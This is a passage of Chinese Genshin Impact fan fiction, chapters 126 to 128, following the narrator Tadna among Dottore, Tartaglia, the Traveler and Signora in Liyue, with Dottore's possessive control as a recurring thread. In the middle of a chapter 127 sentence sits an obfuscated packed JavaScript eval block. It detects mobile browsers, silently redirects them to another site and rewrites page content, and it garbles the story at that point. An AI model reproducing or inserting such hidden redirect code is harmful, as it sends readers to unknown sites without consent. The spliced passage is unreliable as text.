“我还没说呢,如果您不想在此行暴露您的身份的话,好歹做出点伪装的努力吧?至少换一件正常一点的衣服吧?还有,我和刻晴小姐的对谈只是出于工作缘故而已,您如果不希望我和其他人说话的话,谁来负责这件工作?难不成您来吗?总之,如果您做不到的话,那就还请不要在我工作的时候打扰……” “我来。” 我滔滔不绝的愤怒突然停滞。 “嗯?” “我说,我来负责安排对接登记的工作。”多托雷的态度突然温和下来,温和地有些诡异。 “你不是想要休假吗?不想工作的话,可以直接告诉我,我来做就行。” 我:“……” 我惊悚地后退半步,连后颈上的手都慌张地扯下来扔开。 多托雷站在我半步之外的距离平静地看着我,他只是平静地收回了手,又整理了一下刚刚被我推的有些歪斜的面具。 多托雷嘴角的弯度固定,他疑惑地看着我歪了歪头。 一种植物。 多托雷怎么回事?!脑子怎么突然就坏掉了?! 126.第 126 章 多托雷最近不对劲。 非常不对劲! 那天的话,多托雷说要替我完成与璃月对接的工作,我以为他只是出于逗弄的目的随口一说,但没想到,多托雷竟然真的打算亲自动手。 当然,如果真的放任多托雷来的话恐怕被吓到的也只会是无辜的愚人众士兵,出于对士兵们心理健康的考虑,我费了一番功夫才拦下看上去有些兴致冲冲的多托雷。 说起来,从Theta切片失踪的那件事情后,多托雷对我的态度就变得越来越怪。 我不清楚其中的原因,但多托雷如今对我的态度比起过往其实反而更加纵容了一些,我无法将这个变化定义为是一件坏事,只是多托雷未曾对如“我恢复记忆”的事情表态的态度让我稍微忐忑。还有之前给了我新的耳坠却不强迫我戴上的事情。 对了,那只新的耳坠,被发现时连同我的储物袋一起放置,安静地被人放进来,如今还被我收在储物袋的深处,暂时没有拿出来的打算。 当然,即便没有戴上耳坠,也并不代表着多托雷对我的掌控欲减轻了多少,就像如此荒唐且轻易地放下至冬的事务陪我去稻妻的决定一样,多托雷依然不习惯我会有离开他太久的可能。 谈及过远。总之,我们自踏上璃月港后,在短暂地同璃月七星之一的玉衡星刻晴商谈后很快草拟出来一份随行人员的名单,按照等级的高低由上至下。 【女士】大人是此次明面上的交涉执行官,自然排在最前面,往后是【女士】大人的亲信和各部下。我在其中找了两个空将我和多托雷的名字塞进去。 如果要是被知道多托雷就是愚人众危险的第二席执行官的话,恐怕出行都会被人盯梢。多托雷受得了那样的日子,我可不太受得了。 加上…… 在填写的时候,我的余光瞥视到临靠船杆远眺他处的多托雷。 多托雷似乎是在思考什么,从他紧闭的嘴角看不出来什么。 “你在看什么?”多托雷突然出声。 我吓了一跳,手中的笔差点掉到地上。 “没什么。”我欲盖弥彰,“事宜马上就结束了,我们之后要直接前往愚人众的休憩处吗?” “在璃月港内?” “是的,就在北国银行附近。【公子】大人也是暂停留在那里。” 多托雷意味不明地轻笑了一声:“听说之前在蒙德遇到过的那名旅行者也参与进了如今璃月最大的漩涡之中,还与末席关系颇为‘亲近’。” 亲近……是指当冤大头给钱的那种“亲近”吗? 我听得在心里不断吐槽,只是在至冬稍微停留一段时间,我的耳朵都快被【富人】阴阳怪气达达利亚在璃月“挥霍无度”的话给磨出茧子了。 但多托雷的重点很显然不在此,他意味深长地看了我一眼。 “这样,可要好好费一番心思,要是被那位旅者发现身份可就不太好了。你觉得呢,塔德纳?” 我乍然手脚僵硬了一下,惊疑不定地抬头。 但多托雷好似只是随口说了一句话一样,那句无法辨明含义的话语之后便再没有出声了,我纠结了良久,最终还是没能鼓起勇气询问多托雷是什么意思。 威胁? 但多托雷虽然不太喜欢我和旅行者等人交往过深,如今在我依然愿意服从于他的掌控之下的状态下,他也不会阻碍扭曲我的意愿,更何况,如果是要对我和旅行者的关系出手的话,早在上次在蒙德的时候,多托雷就不会只是作壁上观。 那日多托雷对我说的话让我耿耿于怀了多日,甚至刚到璃月港的几日连出门游玩的心情都没有,只在愚人众的休憩处呆坐了几日。 相比于我的焦躁不安,多托雷看起来则从容极了,他不知道从哪里搞来几本书,整日在房间内鉴赏璃月的文娱小说。我观察了多托雷好几天,最后实在忍不住,在多托雷出门片刻的时间翻动了那本被倒扣在桌子上的书。 书的名字叫《沉秋拾剑录》,作者名为“枕玉”,光看名字还以为是璃月最流行的武侠小说,结果翻开内容却是一本剧情相当奇特的星际小说。 我看了两眼,感觉有陌生且歹毒的知识钻进了我的大脑,一时间脑海里只剩下诸如“星海”、“恒星”、“雅兹塔级战舰”之类的词,相当大胆的幻想题材,然而却在第三卷画风大转,从星际战争跳跃到了稻妻背景的故事。 璃月,果然人才辈出。 不过多托雷竟然会看这种类型的书,原来除了专业书籍和看到就让人晕字的实验报告,他也会看一些什么用都没有的闲杂书籍吗? 我心有余悸地关上书,恰听到多托雷的脚步声靠近。他似乎并未注意到我翻动过那本书,只是在进门的时候看了我一眼,便如常坐在他平日的位置上。 我本以为他会继续看那本书,但多托雷似乎也没有多的情趣再放到那本剧情属实奇诡的小说上。 我看到多托雷伸手推开窗户,外面早上明明还晴朗的天空此刻以及完全灰暗下来,厚重的阴云覆压,狂风席卷,吹进来将放在桌子上的那本《沉秋拾剑录》翻得猎猎作响。 也是此时我才注意到,刚才我慌张将那本书放回去的时候竟然是将整本书完全合上放在桌子上的,与多托雷离开时随手倒扣的样子完全不同。 我的心提了起来,心中懊恼自己竟然脸这么低级的错误也会犯。 幸运的是,多托雷似乎并没有关注到这点“小变动”。 他只是凝望着外面倏然变化的天气,语气低沉。 “看来,舞台上的戏码开始了。” “什么……”我愣了一下,竟然就这么问出声来。 “璃月的神明,那位行走六千余年的岩神摩拉克斯,借用如此一番假死的戏码,想要凭借此让璃月这块泥炭打磨成钻石。还真是乱来啊,呵,也不知道末席如此任性的计划,是否符合那位神明的预期呢?” 就像是在验证多托雷所言的风暴一般,璃月港的风越发肆虐,从此处远眺,恰能看到远处璃月港的海面,有什么长条的多头的生物从海面骤起,直抵云霄,而从那犹如魔物一般的生物身上传来的威压,即使相隔如此远的距离也能够感受得到。 多托雷的神情在看到那怪异生物的一瞬间产生了一点变化。 “真是惊人啊,被埋葬在海底千年有余的魔神,再次降临时竟然依旧能够散发出如此令人欣喜的力量。即便是那场战争的败者,又被尘封如此多的岁月,魔神的躯壳却依然如此鲜活,造物的划分果然是不平均的。” 多托雷的语气变得不明,或许又夹杂着一点嗟叹。为了延续己身而疯狂到对自己进行改造的狂学者,对长生的物种与生俱来的“永续”或许也会感到一点轻微的难以平衡。 也或许不会。 毕竟我所认识的多托雷,那样傲慢自大的多托雷,即使是被驱逐的那日,即使是面对神明,疯狂到要剖解世界真相的狂年也从未从他的眼中褪去。 那日,我们一同在愚人众的休憩处的房间里观赏了远古恶意重新降临于璃月的一幕,也见证了璃月的兵士殊死抵抗的场景。 若论大小,人类与重新苏醒的海洋的魔神相比如何渺小,如何无能,但在无数兵炮轰击,那座据说是天权星斥巨资建造的天上建筑被投入海中时,即便强大如魔神,也在人的力量下湮灭。 多托雷似乎对这样的结果并不意外。 他百无聊赖地于桌边沉思,而在他手边的那本小说,则再没有被碰触过。 …… 我未曾想到时隔多日好不容易出门一趟会遇到一个完全在我意料之外的人。 于送仙典仪的现场,我混迹于人群中参观了这一场别开生面的特殊仪式,就在我聚精会神从人群中找寻合适的角度观看之时,肩膀被轻轻拍了一下。 “嗨,好久不见。” 我转头,看到那一头熟悉的橙色短发。 我有些惊奇:“【公子】大人?没想到能在这里遇见您。” 达达利亚轻声“嘘”了一声。他有些紧张地看了看附近。 “这里不是说话的地方,我们换个地方。” 他带我到了一处角落,从这里能看到送仙典仪那边的情况,不过因为石头和树木的阻挡,很少有人会注意到这里。 “塔德纳,好几天前就听说你也来璃月了,只不过一直没见到你,我还以为是假消息呢。”达达利亚看起来很高兴,那双不透光的蓝色眼睛似乎也要透露点光彩出来。 “不过还好,消息是真的,我可是做梦都想在璃月再见到你一面。” 达达利亚的表情看起来很真切,并没有撒谎的痕迹。 这难免让我有些措手不及,不知如何应对。 “【公子】大人,别来无恙。能在璃月的风波之后再次见到完好无损的您也让我很高兴。” “上次也是如此,你对我说了‘别来无恙’,连第一句话都一字不差。”达达利亚怀念地道:“就在海勒西斯的时候。我们之间的见面似乎总是偶然相会。”< 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“您有这样的毅力做什么都会成功的。”我忍不住叹气,“原来主人从来还没同意过与您进行比试吗?” “他总是说实验很忙,所以没有时间搭理我。我可是从刚成为执行官的时候就开始请求他同意与我展开一场比试了!”达达利亚的表情看起来又遗憾又不甘。 原来多托雷也会有被烦到要找理由说自己没时间来推脱的时候,甚至还是这种明眼人一看就知道是随便找的借口的话。 该说不愧是达达利亚吗? “那你呢?”达达利亚或许是见从多托雷那边入手不太可能,转而将视线投往我的身上。 “你应该是出来看送仙典仪的吧?这么说,你是不是最近没工作?我找到了一个绝佳的比试地点,我们可以……” “等等,【公子】大人。”我连忙打断越说越激动的达达利亚,“虽然很抱歉打扰您的兴致,但是我最近要替主人完成实验上的一些事务,所以实在是没空。而且,您现在的身体状态,应该要静养才对吧?” 达达利亚的表情一僵,他不着声色地捏了捏自己的手臂。 “原来你发现了啊……都是小伤,其实不碍事的。” “您这话想要瞒过我可不太现实,从刚才见到您开始我就注意到您的步幅和步速相较于您平常的速度都降低了大概30%,从您的伤势结合最近璃月传出的一些消息,我猜,您恐怕是过量使用了邪眼的力量才变成这样的吧?” “连这个都能看出来吗?”达达利亚惊讶地张大眼睛。 我被达达利亚夸张的表情逗笑,一时间有些飘飘然。 “当然。毕竟,我可是邪眼的……” “是什么?” 又一道明显地让人觉得前不久似乎才听到过的声音从背后极近的距离传来,我在声音出现的一瞬间转头,在看到那道熟悉的不能再熟悉的黄色身影和身边的白色小精灵的一秒里,头皮发麻。 惊喜和惊吓两种相反的情绪在脑海中会晤,像炸弹一样炸开,炸的我脑袋嗡嗡响。 最后的最后,我只来得及将到了喉咙的那几个字硬生生扭转成其他的音节。 “……研究专家。哈哈,对了,研究专家,毕竟工作性质比较特殊,总是会接触到一些特别的东西。”我干笑着,费了好大的劲才让自己的表情维持在一个正常的度。 恰合的微笑幅度,稍微带上一点惊讶,同时借着转身的空挡将自己和达达利亚的距离拉远,不至于显得和达达利亚关系殊密。 “没想到能在这里遇见两位大人,旅行者大人,还有可爱的派蒙大人,能在此见到两位大人,实在是今日最大的幸运。” 我注意到达达利亚诧异地朝我看了一眼。 达达利亚也选择了先和旅行者打招呼。 “嗨,伙伴,又见面了,真巧啊。” 旅行者和派蒙都警惕地看着达达利亚。 “【公子】?!你怎么会在这里?难道愚人众还有其他的邪恶计划吗?” 两双眼睛同样惊疑不定地在我和达达利亚二人中间巡视。 或许是我在那一瞬间做出的应对过于完美,旅行者一把抓住我的手腕将我拽离达达利亚的附近,然后向前一步拦在我的身前与达达利亚对峙。 旅行者的声音无比坚定:“我绝不会允许愚人众再做出坏事的,离塔德纳远点!” 我:“……” 达达利亚:“啊?” 127.第 127 章 “等等,伙伴,你误会了,其实塔德纳是……” 我唰地一下抓紧旅行者的衣袖躲到旅行者身后。 “旅行者大人救我!” “???等等,这不对吧???” “不要动,【公子】!再动一下我可就对你不客气了!我绝不会让你伤害到塔德纳!” “哪有人敢伤害塔德纳啊???” 旅行者“唰”地一下抽出了自己的长剑,警惕地对准对面的达达利亚。 而不知所措、一头雾水的达达利亚则瞳孔地震,他甚至不知道该不该拿武器,用难以置信的眼神看向我。 我躲在旅行者的身后朝达达利亚眨了一下眼。 达达利亚的瞳孔震颤地更厉害了。 “你……你你……”达达利亚颤抖地伸出手指指向我的方向。 这一次,就连旅行者和派蒙也察觉到了不对劲的地方。旅行者疑惑地转头看向我。 我心中明白再继续下去这个小小的把戏就要被拆穿了,于是从容地从旅行者身后伸出手搭在长剑的剑柄上。 “哎呀呀,瞧瞧我,把气氛弄得这么奇怪。抱歉啊,旅行者大人还有派蒙大人,我只是开个玩笑活跃一下气氛而已。我和【公子】大人确实认识,也知道【公子】大人执行官的身份。” “玩笑……”派蒙捂着脑袋左看看右看看,“派蒙有些糊涂了,所以这到底是怎么回事啊?” “都说了,只是开个玩笑而已。”达达利亚呼了口气,不知何时悄然靠近半步,臂间的弓箭闪过,将旅行者的长剑从下往上轻轻一挑,那长剑便到了他手中。 旅行者顿步,神色变得更加冷凝。 “哎哎,别生气啊,伙伴。”达达利亚伸出一只手作投降的样子,将长剑一抛抛回到旅行者怀里。 “我还以为上次黄金屋一别后,我们至少也能成为朋友吧?别这么剑拔弩张啊。” “你还敢提黄金屋!”派蒙气得在空中跺脚,“要不是你乱用那些符箓放出了魔神,璃月就不会发生这么多事了!都怪你们这些愚人众大坏蛋!” “这话说的。”达达利亚笑了一声。 他若有所思地看了我一眼,又对我露出一个微笑。 我悠闲地立于旅行者身后,同样回以微笑。 达达利亚摊手:“我也只是为了完成女皇大人的任务罢了。话说回来,现在最该被盘问的人不应该是我才对吧。” 达达利亚看向我:“刚刚可真是吓了我一大跳,塔德纳。你以前可从来不会开这种玩笑。” 我轻笑:“真是出人意料。原来在【公子】大人心中我竟然是一个严肃到不苟言笑的人吗?” 达达利亚:“你知道我可不是这个意思。” 旅行者的眼神惊疑不定地在我和达达利亚两人之间轮转。 派蒙:“所以,原来塔德纳和【公子】真的是认识的吗?可是……”派蒙的神色变得纠结。 “这有什么好不相信的,你们认识塔德纳,却不知道他的身份吗?倒是我才要惊讶好吗,避着人群才好不容易能出来一趟,遇到认识的人,本以为是好事来临,结果发现两个朋友都背着自己偷偷互相认识了只有自己还被蒙在鼓里。” 我注意到旅行者看我的眼神带上了一点怀疑。 于是打断达达利亚的话。 “【公子】大人何必如此妄自菲薄?我也只是因得雇主的蒙荫才得以认识愚人众的执行官这样的大人物而已。要说在至冬的话,恐怕无人不知【公子】大人之名了。” “是哦,塔德纳也说过自己在一个很厉害的雇主那里工作。”派蒙若有所思,“不过,原来【公子】在至冬这么出名的吗?” 达达利亚只是轻声笑了一下。似乎是在应声,也似乎是看见什么有趣的东西,难得地没能压抑住自己的反应。 达达利亚愿意配合我的“演出”倒在我的意料之内,当然连招呼都没打就这样将一位执行官拉入自己一时兴起的戏码中,或许这样的举动会伴随一点额外的支出,但至少现在,我的目的完美达成了。 旅行者似乎相信了我所捏造的“因为雇主的身份而认识愚人众执行官”的借口,在达达利亚没有进一步表现出什么敌对的意味后也收了武器。只是站立时仍然站在离达达利亚远一点的地方。 “不过,开出那种玩笑,让我们以为【公子】要做什么坏事,未免也太过分了吧,塔德纳。”旅行者对我露出无比谴责的眼神。 派蒙和达达利亚也双双谴责地看过来。而其中,达达利亚眼中的谴责似乎更要沉重十倍。 “在这种问题上竟然一下子就团结战线了吗?” “明明只是因为塔德纳这次太过分了!” “原来是这样吗?抱歉抱歉,我下次会注意不开这种玩笑的。看来我没什么开玩笑的天分呢。” “说起来,”我打断话题,“旅行者大人和派蒙大人来此地是为了干什么呢?” “是送仙典仪啦。”派蒙道,“毕竟我们为了送仙典仪可是一直忙前忙后的,不来看一次才是亏了吧。倒是某个人,出现在送仙典仪附近不知道是在酝酿什么邪恶的计划。” 派蒙双手抱胸,斜睨着达达利亚。 旅行者也做出相同的动作。这下被同时用好几双眼睛盯着的成了达达利亚。 “喂喂,”达达利亚有些不满,“就算是外国人也有权利来看送仙典仪吧。” 旅行者:“可是我记得这一次,愚人众的人都被禁止靠近玉京台了吧。” “呃……”达达利亚将视线转向其他方向。 我适时出声:“看来还挺巧的,我也是来看看传说中的送仙典仪,结果碰巧遇到了【公子】大人。既然这么有缘在璃月又遇见了两位大人,不如改日我请客,在琉璃亭再多叙时分。” 派蒙听到后十分高兴。 “好耶,塔德纳请客,有可以吃好吃的了!” 旅行者在一旁扶额:“派蒙……” 再稍微客套两句之后,我借口还有急事辞别了旅行者一行以及达达利亚。 临别的时候我注意到达达利亚一直在向我投递求救的眼光,但被我故意忽略过去了。 毕竟,因为雇主的缘故才能攀上像愚人众执行官这样高高在上的存在,如果显露得过于亲密,反而会让人怀疑吧。 这次达达利亚的事情,让旅行者似乎开始怀疑我的身份了。 我很清楚这对我而言并非一件好事,内心在恐惧被知晓身份后被远离甚至斥责的可能,但也不由得升起一种好奇。 若知晓了我愚人众的身份,若知晓了我同行于黑暗的本色,那么,旅行者,你还会坚定你我之间的友谊吗? 我这样想着,离开的时候又忍不住远远回望了一眼旅行者和派蒙的方向。她们似乎正与达达利亚在交谈着什么,达达利亚一脸苦笑的表情,但看样子应该不会起什么冲突。 真好呢。 无论在什么地方都能够交到新朋友的旅行者,即使是敌对方的愚人众的执行官也会被其吸引。 自然,我也无法否认我自己也便是如此被旅行者身上所存在的特质而无法控制地被吸引。 人总不会讨厌光,天生地亲近太阳。 我几乎陷入了一种内心的困顿的境界,驻足在原地,呆呆地远望。 远处的旅行者似乎察觉到了我的眼神,转头看过来。在旅行者发觉我之前,我便收回视线转身低头离去了。 离开玉京台是天色已然不早,我本来准备径直回去休憩处,在半路遇到了未曾预料的人。 “【公子】大人?”我有些惊讶地看着眼前的青年。达达利亚似乎刚结束一段疾跑,停下的时候气息有些粗重。 “就把我一个人留在那里,有点不够仗义了吧,塔德纳。” 我看着气喘吁吁的青年,心中的凝重被暂时地一扫而空了。 “我以为您会希望与旅行者再多交谈些许时间?” 达达利亚噎了一下。 “明明我们才是好几个月没见过面了吧……对了,别以为能逃过去,我刚才可是帮你瞒住了旅行者,你要准备怎么感谢我?” “感谢……说起来,确实是需要对您的慷慨相助做出回报。主人也经常如此要求我。” 达达利亚的表情变得奇异的僵硬。 “您的表情突然变得有些糟糕呢。不知道您希望从我这里得到什么呢?您刚才确实帮了我一个大忙,我会尽全力实现您的需求的。” 达达利亚的脸上露出一种扭曲且多加懊恼的神色。 他朝我的方向迈出半步。 “抱歉,我不是那种意思……” 在距离要被进一步拉近的时刻我悄然后退半步。距离又回到了之前那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646012|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个一直在我掌控内的、更令我舒适的距离。 符合一对认识一段时间但远未达到相换过去程度的“朋友”。 然而更重要的是,我察觉到了熟悉的、不加掩饰的气息靠近了我的身后。 黑色皮质手套遮覆完全的手掌自然且闲适地搭在我的肩头。 “我没在房间里看到你,便料想你是去看送仙典仪的热闹了。不过没想到,这里还能遇到一些熟人。” “【博士】……”达达利亚的表情一秒收敛,“虽然知道塔德纳既然出现在这里,你大概也会来,不过没想到你竟然真的会离开至冬,还是以……这么悠闲的姿态。我还以为你只会待在实验室做实验。” 我听到极近的头顶传来一声轻笑,尽是冰冷,或许还夹带着一点不耐烦。 多托雷笑道:“如果不是这么悠闲的话,又怎么会有机会见到这么有趣的一幕?” 如此近的距离,多托雷的气息围绕着我。那只搭在我肩膀上的手掌捏了捏。 我的身体变得有些僵硬。 多托雷又笑了一声。 “我听到了一点你们的对话。不知节制地提出请求,向他人索取,结果了狂妄地许下回报的应诺。这是塔德纳的缺点,我偶尔会提醒一句,不过看来,程度远远不够。不然,也就不会出现随意地在其他人那里留下可供揉捏的把柄的情况了。” 达达利亚从多托雷的话语中终于品鉴出一丝不对劲。 “喂喂,没必要这么严肃吧……”达达利亚皱眉,试图缓和气氛,“我和塔德纳是朋友,刚才也只是朋友之间的打趣而已……好吧,我也必须要承认,刚才我似乎说错了话。” 真是糟糕的情况。 我敏锐地意识到多托雷在这个时候找到我恐怕并不是什么“瞎猫碰到死耗子”的巧合。虽然暂且无法得知在没有佩戴激活那只耳坠的前提下多托雷是怎么如此精确地找到我的,但眼下最紧急的一点,恐怕是要让多托雷和达达利亚分开。 伤脑筋,多托雷怎么偏偏突然对达达利亚这么大的敌意? “停——” 我咬了咬牙,从肩膀上扒拉下多托雷的手。 我抬头,确认了多托雷似乎并没有对我的动作生气后站到两个人中间。 “两位大人,光天化日之下在这种人多眼杂的地方就不要如此争锋相对了吧。要是您二位打起来了,收拾善后的工作还要我来做。” 达达利亚一脸委屈。 “塔德纳,你可要给我做主啊。你知道的,我没有挑衅或者其他的意思。” “当然,你只是想借着动动嘴皮子替塔德纳做了一出劣质的隐瞒的戏码的事情从塔德纳那里谋求什么利益而已。让我猜猜看,你索要的‘感谢’究竟是什么内容呢?是要命令他柔顺,对你显露百依百顺的面容,还是令他臣服,以便索取更多……” “够了。”我转身面对多托雷。 多托雷弯起嘴角:“难得如此激烈起伏的情绪波动。看来我的猜测并不是毫无道理,你也在如此防备着、猜忌着,不是吗?塔德纳。” 我:“……” 我闭了闭眼,压抑住想要叹气的冲动。 但宣泄的口子被堵住,内心反而更加膨胀,更加挤压,更加拥堵。 背后,即使没有亲眼去看,我也能感受到,能想象到达达利亚难以置信的目光。 “我无法否认您所说的一切,主人。” 多托雷的笑声变得愉悦:“我早就说过,我是世间最了解你的人,也是唯一了解你的人。你一直以来对外人展露你的笑容和宽容,想要向外谋取更多的欲望既无道理,也无必要……” 我紧了紧垂在身侧的手指。 “不对的。” 达达利亚的声音将我的意识稍微唤回。 “塔德纳,不对的,我从来没有过那些想法。但我确实有想要希望你做的事情,不关乎利益,也不关于算计。” “我希望你以后能直接叫我的名字,达达利亚,或者阿贾克斯,就像我叫你‘塔德纳’一样。” 我愣住了。 我几乎不敢确信自己刚才听的内容。 我转头,那一瞬间直直撞进那昏暗的,如海底包容的眼睛里。 “塔德纳,我想和你成为可以直呼名字的那种朋友。”达达利亚伸出手,“而这,就是我想要的‘感谢’。” 128.第 128 章 利益。 这是一个人生来无法逃避的词。 须弥,学术之国,智慧之国,无数智慧闪光的汇聚地,是多少学者梦中的圣殿,又有多少学者穷极一生都在拼搏着能够留在教令院的资格证明。 无数天才的研究汇聚于此,无数鞭辟的言论争辩于此。 无数利益交流于此。 就如同我的父母在我的身上投下预算的本金,他们穷极利益网的关系为我铺下成为学者的道路,只可惜,他们所想要的一切都没能实现。 我,无法带给他们利益。 至于愚人众,等级森严,但唯有在利益上,无论是执行官还是普通的愚人众,都一视同仁。大把的人想要从多托雷手里谋取到一点好处,而我自然也就会跟着卷入利益交换中。 “不过,按照你的说法的话,从商贩老板手里买酒不也一样是一种‘利益交换’吗?” 【女士】撑着头观摩着手中的杯子。颇具璃月风格的纹样,虽精美不足但足够璃月。 “但是,支付摩拉获得商品的行为或许称作‘交易’更加准确吧。” “‘利益交换’,有时也会被叫做‘交易’,不是吗?” “……很有道理。” 或许是我的态度过于认真严肃,【女士】瞧着我,突然一下子笑出来。 “哈,果然是契约的国度,贸易和摩拉的交汇之地,竟然就算是塔德纳,到了璃月也会被这种铜臭的气味给沾染吗?” “完全不对吧……” 我看出【女士】只是想缓和一下今晚被我搅弄得过于紧绷的气氛才说出这样的话,心下又想叹气了。 “你的表情,看起来很苦恼呢,塔德纳。” “或许是璃月的天气太热了吧。” 我半倚着胳膊,用一种相当别扭的姿势支撑着自己的身体,总之,似乎是一种很劳累手臂关节的动作。 “难得听你说这么孩子气的话。” “五百多岁的‘孩子’吗?【女士】大人,您真的不是在阴阳怪气我吗?” 我倦怠地抬头。 【女士】对上我的视线,轻笑了一声。 “看来你最近确实心情不太好了。听说前两天因为【公子】的事情,你和【博士】闹了矛盾?” 不提起那件事情还好,一听【女士】提起这件事情,我全身的骨头好似都要软榻下来,恨不得直接在地上进行一番扭曲的爬行来宣泄一下内心无从释放的阴暗情绪了。 “矛盾……哪里算矛盾啊……”我哀嚎一声,手边和【女士】那只一模一样但却装满了茶水的杯子因我骤然提高一分的声音似乎都轻颤了一下。 两滴茶水从杯子里逃跑出来,溅跳到我衣袖上,洇成两个深色的、扎眼的深点。 “我哪里敢和主人唱反调。” 【女士】含笑着低头看我。 我与【女士】的交谈,如此数百年来,也从来只涉及谈笑的皮毛,偶尔或许是互相拜托做点事情,比如我拜托【女士】帮点送点信和消息,又或是【女士】让我转告点东西给多托雷。 今晚,或许是璃月酒摊的酒实在与至冬不同,也或许是【女士】即将临时回至冬交还神之心,稍得放纵,总之,不同于往常,【女士】似乎想要听听更多的内情。 “【博士】也是元老级别的执行官了,竟然因为这种事情和【公子】那种小了不知道多少辈的信任执行官玩脸色。”【女士】笑道,“要是让其他执行官听到了,不知道要笑成什么样子。” 我想起那日达达利亚说完“想和我成为朋友”那样的话后多托雷骤然冷下来的表情,一时间和那日的自己同频共振,手脚发麻。 单看那日多托雷的表情,我甚至会觉得多托雷想要当场折断我的四肢把我关起来再也不放出去。 但不知出于何种原因,多托雷按捺住了。 如果其他的切片在场,像是Alpha切片和Beta切片,估计会对那样的多托雷大加嘲讽吧。 我不由得这样想。 真是的……竟然会在这种情况下突然想到多托雷的切片……看来璃月的气候还是不太适合我,以至于让我都水土不服开始胡思乱想了。 我扶住额头,止住那些快要分散的胡思乱想。 “说起来,这次交还神之心的任务不是应该交给达……嗯,【公子】大人吗?毕竟一开始的任务就是交给【公子】大人来完成的,而且您还有去稻妻的任务吧?” 【女士】摇了摇手中的杯子。 “任务?”她冷笑着,话语间颇多嘲讽,“你是说一个连‘摩拉克斯假死’都不知道的那个【公子】?真是可惜,你要是刚来璃月那几日愿意出来走走的话,就能欣赏到【公子】知道自己从头到尾被蒙在鼓里后那张愚蠢的脸了。” “这……这样吗……” 沉默逐渐蔓延。 【女士】像是突然想起来什么,轻轻“啊”了一声。 我支楞起来。 【女士】看着我:“对了,虽然之前答应过你要带你一起去稻妻小放个假,但现在看来,恐怕没办法和你一起了。等回至冬上交完神之心后,为赶速度,我恐怕会乘船直接从至冬前往稻妻。” “所以,”【女士】朝我眨了眨眼,“你恐怕要自己一个人去稻妻了。啊,忘了还有【博士】。虽然不是一个旅行的良伴,但有总比没有强。” 【女士】如此宽慰我。 我:“这么说的话,反而不太想去稻妻了……” 【女士】愣了一下。 “不想去就不去了。” 【女士】叹了口气。 “即便是成年人,也有任性的权利的。” “不去稻妻的话,之后有什么打算吗?” “暂时没有。” “既然如此,那我就先预约我们受欢迎的副官先生未来的一天时间吧,不知道副官先生有没有时间和我一起去看看壁炉之家的那些孩子们?” 我与【女士】的交谈,如此数百年来,次数超千次。 我们不约而同地遵循着从未严明的“规矩”。 从不干涉,从不过多探看,从不生出多余的好奇心,也从不,妄图追根问底。 于是,那日我在满心的惆怅中未曾言明的一件事,一件困扰了许久的事情,一件就连我自己都不知道该不该询问,该不该思考的事情,被我用“不想去稻妻”的任性的话语捎带出来的一点情绪。 【女士】似乎也有所察觉。 ……我的去处在何…… 从不干涉。 “不想去就不去了。” ……我为现状感到悲哀且烦躁…… 从不过多探看。 “即便是成年人,也有任性的权利的。” ……我看不清未来的方向…… 从不生出多余的好奇心。 “之后有什么打算吗?” ……我应该,离开■■■吗…… 也从不,追根问底。 “有时间和我一起去看看壁炉之家的那些孩子们?” 我无法否认与【女士】的这种在多托雷看来毫无意义、纯属浪费时间的交谈确实没有任何的“利益”可以谋求,若是那位精通算计和榨取利益的【富人】大人在此,定然不会如此暴殄天物。 但是,我确实相当珍重这样的偶尔一次的交谈。 于是,我恍然呼出一口气。 “好啊。那我们说定了。等稻妻的任务结束,我们回至冬后,一起去壁炉之家。” 即便是从来只是说一些可有可无的话,与【女士】的交谈也能算得上是我这几百年来难得的逃避之处。 可以短暂忘却多托雷和他那堆切片搞出的烦心事的逃避之处。 任性的权利。 【女士】是在暗示我什么呢? 我不得而知,但并不为此感到心急。 答案不必急于一时,我与【女士】的交谈还会一直持续下去,早晚有一天我们都会寻找到自己想知道的答案。 就算只是为此,我也可以暂时地愿意继续留存在严寒的冻土之上。 尽管因寒冷而脚趾皲裂。 尽管因永夜而不见日光。 …… 在【女士】离开璃月后不久,我在璃月的生活似乎又回归了那种无聊的、并无多少乐趣的时光。 内心的倦怠和纠结让我无法驻足感受璃月的风光,如此,就连最开始的“在异国放松一段时间”的目的都没能实现。 相比较于我,多托雷反而才像是那个“来璃月度假”的人,他似乎真的就全心全意地开始了度假,这么些天,我甚至没见他联络过实验室的那些负责人,就连实验报告,我都没翻到过一张。 多托雷简直悠闲的不像话。 他最近似乎迷恋上了一些颇具璃月本土风情的话本,不过每本都是浅尝辄止。 我因为好奇倒也悄悄在那堆里面翻过一些,总之和之前的那本《沉秋拾剑录》有异曲同工之妙。 若是换在平时,我恐怕也会对这样的书籍感兴趣。 与实验室那些专业的、冰冷的书和实验报告打的交道多了,有时也会忘记自己其实也是需要放松的正常人。 不过,来到璃月之后的倦怠让我提不起这样的想法,于是我偶尔会在太阳正好的时候去外面稍微逛一小会儿,但更多的时候,我会坐在椅子上思考。 亦或是发呆。 “说起来……” 多托雷的声音将我从遥远的不知何处拉回来。 “我给你的那只耳坠,你还不准备把它戴上吗?” 多托雷的语气是那样的稀松平常,仿佛只是随口一问。 他似乎很确信我一定会戴上它。 如此笃定,甚至到了一种傲慢自大的地步。 我的心口像是被一团灼热的气团堵塞住。 “您不是说过由我自己来决定是否要戴上那只耳坠吗?”我直视多托雷,“还是说,您后悔了吗?” “呵……”多托雷笑了一声。 他将手中的书随手合上,然后伸手掌心朝上向我的方向。 “过来。”他如此柔和地命令。 我盯着那只手的手心看了几秒,磨磨唧唧地从椅子上站起来,走过去。 多托雷抓住我的小臂,揽着我的腰将我拢进怀里。 “自然,我会给予你选择的权利。”多托雷如此言说 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“真是任性。”多托雷松开我,随意地从我手中拿过面具,然后扔到桌子上。 咔嗒——清脆的一声。 我颤了一下,很快,又被多托雷捏着手腕搭在他的肩膀上。 我们对接下来会发生的事情皆心知肚明。 